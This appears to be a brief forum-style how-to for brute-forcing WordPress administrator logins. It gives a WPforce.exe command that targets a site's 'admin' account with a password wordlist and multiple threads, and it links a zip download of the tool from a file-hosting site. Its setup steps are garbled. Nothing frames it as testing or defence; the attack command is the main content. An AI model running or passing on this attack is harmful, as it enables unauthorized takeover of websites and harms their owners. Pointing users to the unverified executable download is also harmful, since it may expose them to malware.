wp brute

WPforce.exe -url=http://example.com -user=admin -pass=wordlist.txt -threads-10
http://www.mediafire.com/download/5nns8q2caqmy526/bruter.zip

Extract it and save it in Local Disk

make a short cut in cmd
then properties
set change it c:/bruter

Command WPforce.exe -url=http://example.com -user=admin -pass=wordlist.txt -threads-10